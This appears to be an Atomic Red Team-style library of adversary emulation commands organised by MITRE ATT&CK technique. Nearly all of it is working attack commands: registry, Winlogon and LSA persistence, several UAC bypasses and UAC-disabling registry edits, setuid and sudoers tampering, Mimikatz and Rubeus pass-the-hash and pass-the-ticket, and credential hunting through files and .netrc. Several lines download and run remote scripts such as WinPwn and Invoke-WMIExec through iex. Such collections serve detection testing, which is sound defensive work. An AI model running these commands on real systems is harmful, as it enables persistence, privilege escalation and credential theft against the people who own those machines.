Change Startup Folder - HKLM Modify User Shell Folders Common Startup Value

New-Item -ItemType Directory -path "$env:TMP\atomictest\"
Copy-Item -path "C:\Windows\System32\calc.exe" -destination "$env:TMP\atomictest\"
Set-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders" -Name "Common Startup" -Value "$env:TMP\atomictest\"

T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder

Change Startup Folder - HKCU Modify User Shell Folders Startup Value

New-Item -ItemType Directory -path "$env:TMP\atomictest\"
Copy-Item -path "C:\Windows\System32\calc.exe" -destination "$env:TMP\atomictest\"
Set-ItemProperty -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders" -Name "Startup" -Value "$env:TMP\atomictest\"

T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder

HKCU - Policy Settings Explorer Run Key

if (!(Test-Path -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer")){
New-Item -ItemType Key -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer"
}
if (!(Test-Path -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run")){
New-Item -ItemType Key -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run"
}
Set-ItemProperty -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run" -Name "atomictest" -Value "C:\Windows\System32\calc.exe"

T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder

HKLM - Policy Settings Explorer Run Key

if (!(Test-Path -Path "HKLM:\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run")){
New-Item -ItemType Key -Path "HKLM:\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run"
}
Set-ItemProperty -Path "HKLM:\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run" -Name "atomictest" -Value "C:\Windows\System32\calc.exe"

T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder

HKLM - Append Command to Winlogon Userinit KEY Value

$oldvalue = $(Get-ItemPropertyValue -Path "HKLM:\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" -Name "Userinit");
Set-ItemProperty -Path "HKLM:\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" -Name "Userinit-backup" -Value "$oldvalue";
$newvalue = $oldvalue + " C:\Windows\System32\calc.exe";
Set-ItemProperty -Path "HKLM:\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" -Name "Userinit" -Value "$newvalue"

T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder

HKLM - Modify default System Shell - Winlogon Shell KEY Value

$oldvalue = $(Get-ItemPropertyValue -Path "HKLM:\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" -Name "Shell");
Set-ItemProperty -Path "HKLM:\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" -Name "Shell-backup" -Value "$oldvalue";
$newvalue = $oldvalue + ", C:\Windows\explorer.exe";
Set-ItemProperty -Path "HKLM:\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" -Name "Shell" -Value "$newvalue"

T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder

secedit used to create a Run key in the HKLM Hive

secedit /import /db mytemplate.db /cfg "$T1547.001\src\regtemplate.ini"
secedit /configure /db mytemplate.db

T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder

Modify BootExecute Value

if (!(Test-Path "$T1547.001\src\SessionManagerBackup.reg")) { reg.exe export "HKLM\SYSTEM\CurrentControlSet\Control\Session Manager" "$T1547.001\src\SessionManagerBackup.reg" /y }
Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Control\Session Manager" -Name "BootExecute" -Value "autocheck autoche *" -Type MultiString

T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder

Allowing custom application to execute during new RDP logon session

reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\Wds\rdpwd" /f /v StartupPrograms /t REG_SZ /d "calc"

T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder

Creating Boot Verification Program Key for application execution during successful boot

reg add HKLM\System\CurrentControlSet\Control\BootVerificationProgram /v ImagePath /t REG_SZ /d "C:\Program Files\Internet Explorer\iexplore.exe"

T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder

Add persistence via Windows Context Menu

reg add "HKEY_CLASSES_ROOT\Directory\Background\shell\Size Modify\command" /ve /t REG_SZ /d "C:\Windows\System32\calc.exe" /f

T1547.002 - Authentication Package

Authentication Package

Copy-Item "$T1547.002\bin\package.dll" C:\Windows\System32\
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa" /v "Authentication Packages" /t REG_MULTI_SZ /d "msv1_0\0package.dll" /f

T1547.003 - Time Providers

Create a new time provider

net stop w32time
Copy-Item "$T1547.003\bin\AtomicTest.dll" C:\Users\Public\AtomicTest.dll
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\W32Time\TimeProviders\AtomicTest" /t REG_SZ /v "DllName" /d "C:\Users\Public\AtomicTest.dll" /f
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\W32Time\TimeProviders\AtomicTest" /t REG_DWORD /v "Enabled" /d "1" /f
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\W32Time\TimeProviders\AtomicTest" /t REG_DWORD /v "InputProvider" /d "1" /f
net start w32time

T1547.003 - Time Providers

Edit an existing time provider

net stop w32time
Copy-Item "$T1547.003\bin\AtomicTest.dll" C:\Users\Public\AtomicTest.dll
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\W32Time\TimeProviders\NtpServer" /t REG_SZ /v "DllName" /d "C:\Users\Public\AtomicTest.dll" /f
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\W32Time\TimeProviders\NtpServer" /t REG_DWORD /v "Enabled" /d "1" /f
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\W32Time\TimeProviders\NtpServer" /t REG_DWORD /v "InputProvider" /d "1" /f
net start w32time

T1547.004 - Boot or Logon Autostart Execution: Winlogon Helper DLL

Winlogon Shell Key Persistence - PowerShell

Set-ItemProperty "HKCU:\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\" "Shell" "explorer.exe, C:\Windows\System32\cmd.exe" -Force

T1547.004 - Boot or Logon Autostart Execution: Winlogon Helper DLL

Winlogon Userinit Key Persistence - PowerShell

Set-ItemProperty "HKCU:\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\" "Userinit" "Userinit.exe, C:\Windows\System32\cmd.exe" -Force

T1547.004 - Boot or Logon Autostart Execution: Winlogon Helper DLL

Winlogon Notify Key Logon Persistence - PowerShell

New-Item "HKCU:\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Notify\AtomicRedTeam" -Force
Set-ItemProperty "HKCU:\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Notify\AtomicRedTeam" "DllName" "C:\Windows\Temp\atomicNotificationPackage.dll" -Type ExpandString -Force
Set-ItemProperty "HKCU:\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Notify\AtomicRedTeam" "Logon" "AtomicTestFunction" -Force
Set-ItemProperty "HKCU:\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Notify\AtomicRedTeam" "Impersonate" 1 -Type DWord -Force
Set-ItemProperty "HKCU:\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Notify\AtomicRedTeam" "Asynchronous" 0 -Type DWord -Force

T1547.004 - Boot or Logon Autostart Execution: Winlogon Helper DLL

Winlogon HKLM Shell Key Persistence - PowerShell

Set-ItemProperty "HKLM:\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\" "Shell" "explorer.exe, C:\Windows\System32\cmd.exe" -Force

T1547.004 - Boot or Logon Autostart Execution: Winlogon Helper DLL

Winlogon HKLM Userinit Key Persistence - PowerShell

Set-ItemProperty "HKLM:\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\" "Userinit" "Userinit.exe, C:\Windows\System32\cmd.exe" -Force

T1547.005 - Boot or Logon Autostart Execution: Security Support Provider

Modify HKLM:\System\CurrentControlSet\Control\Lsa Security Support Provider configuration in registry

$oldvalue = $(Get-ItemProperty HKLM:\System\CurrentControlSet\Control\Lsa -Name 'Security Packages' | Select-Object -ExpandProperty 'Security Packages');
Set-ItemProperty -Path "HKLM:\System\CurrentControlSet\Control\Lsa" -Name 'Security Packages old' -Value "$oldvalue";
$newvalue = "AtomicTest.dll";
Set-ItemProperty HKLM:\SYSTEM\CurrentControlSet\Control\Lsa -Name 'Security Packages' -Value $newvalue

T1547.005 - Boot or Logon Autostart Execution: Security Support Provider

Modify HKLM:\System\CurrentControlSet\Control\Lsa\OSConfig Security Support Provider configuration in registry

$oldvalue = $(Get-ItemProperty HKLM:\System\CurrentControlSet\Control\Lsa\OSConfig -Name 'Security Packages' | Select-Object -ExpandProperty 'Security Packages');
Set-ItemProperty -Path "HKLM:\System\CurrentControlSet\Control\Lsa\OSConfig" -Name 'Security Packages old' -Value "$oldvalue";
$newvalue = "AtomicTest.dll";
Set-ItemProperty HKLM:\SYSTEM\CurrentControlSet\Control\Lsa\OSConfig -Name 'Security Packages' -Value $newvalue

T1547.006 - Boot or Logon Autostart Execution: Kernel Modules and Extensions

Linux - Load Kernel Module via insmod

sudo insmod /tmp/T1547.006/T1547006.ko

T1547.006 - Boot or Logon Autostart Execution: Kernel Modules and Extensions

MacOS - Load Kernel Module via kextload and kmutil

set -x
sudo kextload /Library/Extensions/SoftRAID.kext
kextstat 2>/dev/null | grep SoftRAID
sudo kextunload /Library/Extensions/SoftRAID.kext
sudo kmutil load -p /Library/Extensions/SoftRAID.kext
kextstat 2>/dev/null | grep SoftRAID
sudo kmutil unload -p /Library/Extensions/SoftRAID.kext

T1547.006 - Boot or Logon Autostart Execution: Kernel Modules and Extensions

MacOS - Load Kernel Module via KextManagerLoadKextWithURL()

sudo /tmp/T1547006_iokit_loader
kextstat 2>/dev/null | grep SoftRAID
sudo kextunload /Library/Extensions/SoftRAID.kext

T1547.006 - Boot or Logon Autostart Execution: Kernel Modules and Extensions

Snake Malware Kernel Driver Comadmin

$examplePath = Join-Path $env:windir "system32\Com"; if (-not (Test-Path $examplePath)) { New-Item -ItemType Directory -Path $examplePath | Out-Null }; $exampleName = "comadmin.dat"; $exampleFullPath = Join-Path $examplePath $exampleName; $randomBytes = New-Object Byte[] 0x1000; (New-Object Random).NextBytes($randomBytes); [System.IO.File]::WriteAllBytes($exampleFullPath, $randomBytes)

T1547.007 - Boot or Logon Autostart Execution: Re-opened Applications

Copy in loginwindow.plist for Re-Opened Applications

cp T1547.007/src/reopen_loginwindow_calc.plist ~/Library/Preferences/ByHost/com.apple.loginwindow.plist

T1547.007 - Boot or Logon Autostart Execution: Re-opened Applications

Re-Opened Applications using LoginHook

sudo defaults write com.apple.loginwindow LoginHook /path/to/script

T1547.007 - Boot or Logon Autostart Execution: Re-opened Applications

Append to existing loginwindow for Re-Opened Applications

FILE=`find ~/Library/Preferences/ByHost/com.apple.loginwindow.*.plist -type f | head -1`
if [ -z "${FILE}" ] ; then echo "No loginwindow plist file found" && exit 1 ; fi
echo save backup copy to /tmp/
cp ${FILE} /tmp/t1547007_loginwindow-backup.plist
echo before
plutil -p ${FILE}
echo overwriting...
/tmp/t1547007_append_exe ${FILE} && echo after && plutil -p ${FILE}

T1547.008 - Boot or Logon Autostart Execution: LSASS Driver

Modify Registry to load Arbitrary DLL into LSASS - LsaDbExtPt

New-ItemProperty -Path HKLM:\SYSTEM\CurrentControlSet\Services\NTDS -Name LsaDbExtPt -Value "..\ExternalPayloads\lsass_lib.dll"

T1547.009 - Boot or Logon Autostart Execution: Shortcut Modification

Shortcut Modification

echo [InternetShortcut] > %temp%\T1547.009_modified_shortcut.url
echo URL=C:\windows\system32\calc.exe >> %temp%\T1547.009_modified_shortcut.url
%temp%\T1547.009_modified_shortcut.url

T1547.009 - Boot or Logon Autostart Execution: Shortcut Modification

Create shortcut to cmd in startup folders

$Shell = New-Object -ComObject ("WScript.Shell")
$ShortCut = $Shell.CreateShortcut("$env:APPDATA\Microsoft\Windows\Start Menu\Programs\Startup\T1547.009.lnk")
$ShortCut.TargetPath="cmd.exe"
$ShortCut.WorkingDirectory = "C:\Windows\System32";
$ShortCut.WindowStyle = 1;
$ShortCut.Description = "T1547.009.";
$ShortCut.Save()

$Shell = New-Object -ComObject ("WScript.Shell")
$ShortCut = $Shell.CreateShortcut("$env:ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\T1547.009.lnk")
$ShortCut.TargetPath="cmd.exe"
$ShortCut.WorkingDirectory = "C:\Windows\System32";
$ShortCut.WindowStyle = 1;
$ShortCut.Description = "T1547.009.";
$ShortCut.Save()

T1547.010 - Boot or Logon Autostart Execution: Port Monitors

Add Port Monitor persistence in Registry

reg add "hklm\system\currentcontrolset\control\print\monitors\AtomicRedTeam" /v "Driver" /d "$T1547.010\bin\PortMonitor.dll" /t REG_SZ /f

T1547.012 - Boot or Logon Autostart Execution: Print Processors

Print Processors

if( $(get-service -Name spooler).StartType -eq "Disabled") {Set-Service -Name "spooler" -StartupType Automatic}
net stop spooler
Copy-Item "$T1547.012\bin\AtomicTest.dll" C:\Windows\System32\spool\prtprocs\x64\AtomicTest.dll
reg add "HKLM\SYSTEM\CurrentControlSet\Control\Print\Environments\Windows x64\Print Processors\AtomicRedTeam" /v "Driver" /d "AtomicTest.dll" /t REG_SZ /f
net start spooler
if(0){
Restart-Computer
}

T1547.014 - Active Setup

HKLM - Add atomic_test key to launch executable as part of user setup

New-Item "HKLM:\SOFTWARE\Microsoft\Active Setup\Installed Components" -Name "atomic_test" -Force
Set-ItemProperty "HKLM:\SOFTWARE\Microsoft\Active Setup\Installed Components\atomic_test" "(Default)" "ART TEST" -Force
Set-ItemProperty "HKLM:\SOFTWARE\Microsoft\Active Setup\Installed Components\atomic_test" "StubPath" "C:\Windows\System32\calc.exe" -Force
& $env:SYSTEMROOT\system32\runonce.exe /AlternateShellStartup

T1547.014 - Active Setup

HKLM - Add malicious StubPath value to existing Active Setup Entry

Set-ItemProperty "HKLM:\SOFTWARE\Microsoft\Active Setup\Installed Components\{C9E9A340-D1F1-11D0-821E-444553540600}" "StubPath" "C:\Windows\System32\calc.exe" -Force
& $env:SYSTEMROOT\system32\runonce.exe /AlternateShellStartup

T1547.014 - Active Setup

HKLM - re-execute 'Internet Explorer Core Fonts' StubPath payload by decreasing version number

Set-ItemProperty -Path "HKCU:\SOFTWARE\Microsoft\Active Setup\Installed Components\{C9E9A340-D1F1-11D0-821E-444553540600}" -Name "Version" -Value "0,0,0,0"
& $env:SYSTEMROOT\system32\runonce.exe /AlternateShellStartup

T1547.015 - Boot or Logon Autostart Execution: Login Items

Persistence by modifying Windows Terminal profile

mv ~\AppData\Local\Packages\Microsoft.WindowsTerminal_8wekyb3d8bbwe\LocalState\settings.json ~\AppData\Local\Temp\settings.json
Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1547.015/src/settings.json?raw=true" -OutFile "~\AppData\Local\Packages\Microsoft.WindowsTerminal_8wekyb3d8bbwe\LocalState\settings.json"
wt.exe

T1547.015 - Boot or Logon Autostart Execution: Login Items

Add macOS LoginItem using Applescript

osascript T1547.015/src/add_login_item.osa

T1547 - Boot or Logon Autostart Execution

Add a driver

pnputil.exe /add-driver "C:\Windows\INF\usbstor.inf"

T1547 - Boot or Logon Autostart Execution

Driver Installation Using pnputil.exe

pnputil.exe -i -a C:\Windows\INF\acpipmi.inf

T1547 - Boot or Logon Autostart Execution

Leverage Virtual Channels to execute custom DLL during successful RDP session

reg add "HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Default\Addins\Malware" /v Name /t REG_SZ /d "C:\Windows\System32\amsi.dll" /f

T1548.001 - Abuse Elevation Control Mechanism: Setuid and Setgid

Make and modify binary from C source

cp T1548.001/src/hello.c /tmp/hello.c
sudo chown root /tmp/hello.c
sudo make /tmp/hello
sudo chown root /tmp/hello
sudo chmod u+s /tmp/hello
/tmp/hello

T1548.001 - Abuse Elevation Control Mechanism: Setuid and Setgid

Make and modify binary from C source (freebsd)

cp T1548.001/src/hello.c /tmp/hello.c
chown root /tmp/hello.c
make /tmp/hello
chown root /tmp/hello
chmod u+s /tmp/hello
/tmp/hello

T1548.001 - Abuse Elevation Control Mechanism: Setuid and Setgid

Set a SetUID flag on file

sudo touch /tmp/evilBinary
sudo chown root /tmp/evilBinary
sudo chmod u+xs /tmp/evilBinary

T1548.001 - Abuse Elevation Control Mechanism: Setuid and Setgid

Set a SetUID flag on file (freebsd)

touch /tmp/evilBinary
chown root /tmp/evilBinary
chmod u+xs /tmp/evilBinary

T1548.001 - Abuse Elevation Control Mechanism: Setuid and Setgid

Set a SetGID flag on file

sudo touch /tmp/evilBinary
sudo chown root /tmp/evilBinary
sudo chmod g+xs /tmp/evilBinary

T1548.001 - Abuse Elevation Control Mechanism: Setuid and Setgid

Set a SetGID flag on file (freebsd)

touch /tmp/evilBinary
chown root /tmp/evilBinary
chmod g+xs /tmp/evilBinary

T1548.001 - Abuse Elevation Control Mechanism: Setuid and Setgid

Make and modify capabilities of a binary

cp T1548.001/src/cap.c /tmp/cap.c
make /tmp/cap
sudo setcap cap_setuid=ep /tmp/cap
/tmp/cap

T1548.001 - Abuse Elevation Control Mechanism: Setuid and Setgid

Provide the SetUID capability to a file

touch /tmp/evilBinary
sudo setcap cap_setuid=ep /tmp/evilBinary

T1548.001 - Abuse Elevation Control Mechanism: Setuid and Setgid

Do reconnaissance for files that have the setuid bit set

find /usr/bin -perm -4000

T1548.001 - Abuse Elevation Control Mechanism: Setuid and Setgid

Do reconnaissance for files that have the setgid bit set

find /usr/bin -perm -2000

T1548.002 - Abuse Elevation Control Mechanism: Bypass User Account Control

Bypass UAC using Event Viewer (cmd)

reg.exe add hkcu\software\classes\mscfile\shell\open\command /ve /d "C:\Windows\System32\cmd.exe" /f
cmd.exe /c eventvwr.msc

T1548.002 - Abuse Elevation Control Mechanism: Bypass User Account Control

Bypass UAC using Event Viewer (PowerShell)

New-Item "HKCU:\software\classes\mscfile\shell\open\command" -Force
Set-ItemProperty "HKCU:\software\classes\mscfile\shell\open\command" -Name "(default)" -Value "C:\Windows\System32\cmd.exe" -Force
Start-Process "C:\Windows\System32\eventvwr.msc"

T1548.002 - Abuse Elevation Control Mechanism: Bypass User Account Control

Bypass UAC using Fodhelper

reg.exe add hkcu\software\classes\ms-settings\shell\open\command /ve /d "C:\Windows\System32\cmd.exe" /f
reg.exe add hkcu\software\classes\ms-settings\shell\open\command /v "DelegateExecute" /f
fodhelper.exe

T1548.002 - Abuse Elevation Control Mechanism: Bypass User Account Control

Bypass UAC using Fodhelper - PowerShell

New-Item "HKCU:\software\classes\ms-settings\shell\open\command" -Force
New-ItemProperty "HKCU:\software\classes\ms-settings\shell\open\command" -Name "DelegateExecute" -Value "" -Force
Set-ItemProperty "HKCU:\software\classes\ms-settings\shell\open\command" -Name "(default)" -Value "C:\Windows\System32\cmd.exe" -Force
Start-Process "C:\Windows\System32\fodhelper.exe"

T1548.002 - Abuse Elevation Control Mechanism: Bypass User Account Control

Bypass UAC using ComputerDefaults (PowerShell)

New-Item "HKCU:\software\classes\ms-settings\shell\open\command" -Force
New-ItemProperty "HKCU:\software\classes\ms-settings\shell\open\command" -Name "DelegateExecute" -Value "" -Force
Set-ItemProperty "HKCU:\software\classes\ms-settings\shell\open\command" -Name "(default)" -Value "C:\Windows\System32\cmd.exe" -Force
Start-Process "C:\Windows\System32\ComputerDefaults.exe"

T1548.002 - Abuse Elevation Control Mechanism: Bypass User Account Control

Bypass UAC by Mocking Trusted Directories

mkdir "\\?\C:\Windows \System32\"
copy "C:\Windows\System32\cmd.exe" "\\?\C:\Windows \System32\mmc.exe"
mklink c:\testbypass.exe "\\?\C:\Windows \System32\mmc.exe"

T1548.002 - Abuse Elevation Control Mechanism: Bypass User Account Control

Bypass UAC using sdclt DelegateExecute

New-Item -Force -Path "HKCU:\Software\Classes\Folder\shell\open\command" -Value 'cmd.exe /c notepad.exe'
New-ItemProperty -Force -Path "HKCU:\Software\Classes\Folder\shell\open\command" -Name "DelegateExecute"
Start-Process -FilePath $env:windir\system32\sdclt.exe
Start-Sleep -s 3

T1548.002 - Abuse Elevation Control Mechanism: Bypass User Account Control

Disable UAC using reg.exe

reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f

T1548.002 - Abuse Elevation Control Mechanism: Bypass User Account Control

Bypass UAC using SilentCleanup task

"T1548.002\src\T1548.002.bat"

T1548.002 - Abuse Elevation Control Mechanism: Bypass User Account Control

UACME Bypass Method 23

"..\ExternalPayloads\uacme\23 Akagi64.exe"

T1548.002 - Abuse Elevation Control Mechanism: Bypass User Account Control

UACME Bypass Method 31

"..\ExternalPayloads\uacme\31 Akagi64.exe"

T1548.002 - Abuse Elevation Control Mechanism: Bypass User Account Control

UACME Bypass Method 33

"..\ExternalPayloads\uacme\33 Akagi64.exe"

T1548.002 - Abuse Elevation Control Mechanism: Bypass User Account Control

UACME Bypass Method 34

"..\ExternalPayloads\uacme\34 Akagi64.exe"

T1548.002 - Abuse Elevation Control Mechanism: Bypass User Account Control

UACME Bypass Method 39

"..\ExternalPayloads\uacme\39 Akagi64.exe"

T1548.002 - Abuse Elevation Control Mechanism: Bypass User Account Control

UACME Bypass Method 56

"..\ExternalPayloads\uacme\56 Akagi64.exe"

T1548.002 - Abuse Elevation Control Mechanism: Bypass User Account Control

UACME Bypass Method 59

"..\ExternalPayloads\uacme\59 Akagi64.exe"

T1548.002 - Abuse Elevation Control Mechanism: Bypass User Account Control

UACME Bypass Method 61

"..\ExternalPayloads\uacme\61 Akagi64.exe"

T1548.002 - Abuse Elevation Control Mechanism: Bypass User Account Control

WinPwn - UAC Magic

iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
UACBypass -noninteractive -command "C:\windows\system32\cmd.exe" -technique magic

T1548.002 - Abuse Elevation Control Mechanism: Bypass User Account Control

WinPwn - UAC Bypass ccmstp technique

iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
UACBypass -noninteractive -command "C:\windows\system32\calc.exe" -technique ccmstp

T1548.002 - Abuse Elevation Control Mechanism: Bypass User Account Control

WinPwn - UAC Bypass DiskCleanup technique

iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
UACBypass -noninteractive -command "C:\windows\system32\cmd.exe" -technique DiskCleanup

T1548.002 - Abuse Elevation Control Mechanism: Bypass User Account Control

WinPwn - UAC Bypass DccwBypassUAC technique

iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/Creds/master/obfuscatedps/dccuac.ps1')

T1548.002 - Abuse Elevation Control Mechanism: Bypass User Account Control

Disable UAC admin consent prompt via ConsentPromptBehaviorAdmin registry key

$orgValue =(Get-ItemProperty HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System -Name ConsentPromptBehaviorAdmin).ConsentPromptBehaviorAdmin
Set-ItemProperty HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System -Name ConsentPromptBehaviorAdmin -Value 0 -Type Dword -Force

T1548.002 - Abuse Elevation Control Mechanism: Bypass User Account Control

UAC Bypass with WSReset Registry Modification

New-Item HKCU:\Software\Classes\AppX82a6gwre4fdg3bt635tn5ctqjf8msdd2\Shell\open\command -Force | Out-Null
New-ItemProperty -Path HKCU:\Software\Classes\AppX82a6gwre4fdg3bt635tn5ctqjf8msdd2\Shell\open\command -Name "DelegateExecute" -Value "" -Force | Out-Null
Set-ItemProperty -Path HKCU:\Software\Classes\AppX82a6gwre4fdg3bt635tn5ctqjf8msdd2\Shell\open\command -Name "(default)" -Value "C:\Windows\System32\cmd.exe /c start cmd.exe" -Force -ErrorAction SilentlyContinue | Out-Null
$Process = Start-Process -FilePath "C:\Windows\System32\WSReset.exe" -WindowStyle Hidden

T1548.002 - Abuse Elevation Control Mechanism: Bypass User Account Control

Disable UAC - Switch to the secure desktop when prompting for elevation via registry key

Set-ItemProperty HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System -Name PromptOnSecureDesktop -Value 0 -Type Dword -Force

T1548.002 - Abuse Elevation Control Mechanism: Bypass User Account Control

Disable UAC notification via registry keys

reg add "HKLM\SOFTWARE\Microsoft\Security Center" /v UACDisableNotify /t REG_DWORD /d 1 /f

T1548.002 - Abuse Elevation Control Mechanism: Bypass User Account Control

Disable ConsentPromptBehaviorAdmin via registry keys

reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v ConsentPromptBehaviorAdmin /t REG_DWORD /d 0 /f

T1548.002 - Abuse Elevation Control Mechanism: Bypass User Account Control

UAC bypassed by Utilizing ProgIDs registry.

reg add "HKEY_CURRENT_USER\Software\Classes\.pwn\Shell\Open\command" /ve /d "C:\Windows\System32\calc.exe" /f

reg add "HKEY_CURRENT_USER\Software\Classes\ms-settings\CurVer" /ve /d ".pwn" /f

echo Triggering fodhelper.exe for potential privilege escalation...
start fodhelper.exe

T1548.003 - Abuse Elevation Control Mechanism: Sudo and Sudo Caching

Sudo usage

sudo -l
sudo cat /etc/sudoers
sudo vim /etc/sudoers

T1548.003 - Abuse Elevation Control Mechanism: Sudo and Sudo Caching

Sudo usage (freebsd)

sudo -l
sudo cat /usr/local/etc/sudoers
sudo ee /usr/local/etc/sudoers

T1548.003 - Abuse Elevation Control Mechanism: Sudo and Sudo Caching

Unlimited sudo cache timeout

sudo sed -i 's/env_reset.*$/env_reset,timestamp_timeout=-1/' /etc/sudoers
sudo visudo -c -f /etc/sudoers

T1548.003 - Abuse Elevation Control Mechanism: Sudo and Sudo Caching

Unlimited sudo cache timeout (freebsd)

sudo sed -i 's/env_reset.*$/env_reset,timestamp_timeout=-1/' /usr/local/etc/sudoers
sudo visudo -c -f /usr/local/etc/sudoers

T1548.003 - Abuse Elevation Control Mechanism: Sudo and Sudo Caching

Disable tty_tickets for sudo caching

sudo sh -c "echo Defaults "'!'"tty_tickets >> /etc/sudoers"
sudo visudo -c -f /etc/sudoers

T1548.003 - Abuse Elevation Control Mechanism: Sudo and Sudo Caching

Disable tty_tickets for sudo caching (freebsd)

sudo sh -c "echo Defaults "'!'"tty_tickets >> /usr/local/etc/sudoers"
sudo visudo -c -f /usr/local/etc/sudoers

T1550.002 - Use Alternate Authentication Material: Pass the Hash

Mimikatz Pass the Hash

%tmp%\mimikatz\x64\mimikatz.exe "sekurlsa::pth /user:Administrator /domain:%userdnsdomain% /ntlm:cc36cf7a8514893efccd3324464tkg1a"

T1550.002 - Use Alternate Authentication Material: Pass the Hash

crackmapexec Pass the Hash

C:\CrackMapExecWin\crackmapexec.exe %userdnsdomain% -u Administrator -H cc36cf7a8514893efccd3324464tkg1a -x whoami

T1550.002 - Use Alternate Authentication Material: Pass the Hash

Invoke-WMIExec Pass the Hash

[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
IEX (IWR 'https://raw.githubusercontent.com/Kevin-Robertson/Invoke-TheHash/01ee90f934313acc7d09560902443c18694ed0eb/Invoke-WMIExec.ps1' -UseBasicParsing);Invoke-WMIExec -Target $env:COMPUTERNAME -Username Administrator -Hash cc36cf7a8514893efccd3324464tkg1a -Command hostname

T1550.003 - Use Alternate Authentication Material: Pass the Ticket

Mimikatz Kerberos Ticket Attack

"..\ExternalPayloads\bin\x64\mimikatz.exe" "kerberos::ptt None"

T1550.003 - Use Alternate Authentication Material: Pass the Ticket

Rubeus Kerberos Pass The Ticket

& "..\ExternalPayloads\PsExec.exe" -accepteula \\localhost -w c:\ -c "..\ExternalPayloads\rubeus.exe" asktgt /user:Administrator /password:Password /domain:$Env:USERDOMAIN /outfile:ticket.kirbi
Set-Location "..\ExternalPayloads"
Move-Item -Force "\\localhost\c$\ticket.kirbi" ticket.kirbi
Write-Host "Successfully retrieved TGT from 'localhost', now requesting a TGS from local"
& "..\ExternalPayloads\rubeus.exe" asktgs /service:cifs/localhost /ticket:ticket.kirbi /ptt
Remove-Item "..\ExternalPayloads\ticket.kirbi"
& "..\ExternalPayloads\rubeus.exe" purge

T1552.001 - Unsecured Credentials: Credentials In Files

Find AWS credentials

find //.aws -name "credentials" -type f 2>/dev/null

T1552.001 - Unsecured Credentials: Credentials In Files

Extract Browser and System credentials with LaZagne

python2 laZagne.py all

T1552.001 - Unsecured Credentials: Credentials In Files

Extract passwords with grep

grep -ri password /
exit 0

T1552.001 - Unsecured Credentials: Credentials In Files

Extracting passwords with findstr

findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password

T1552.001 - Unsecured Credentials: Credentials In Files

Access unattend.xml

type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml

T1552.001 - Unsecured Credentials: Credentials In Files

Find and Access Github Credentials

for file in $(find /home -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done

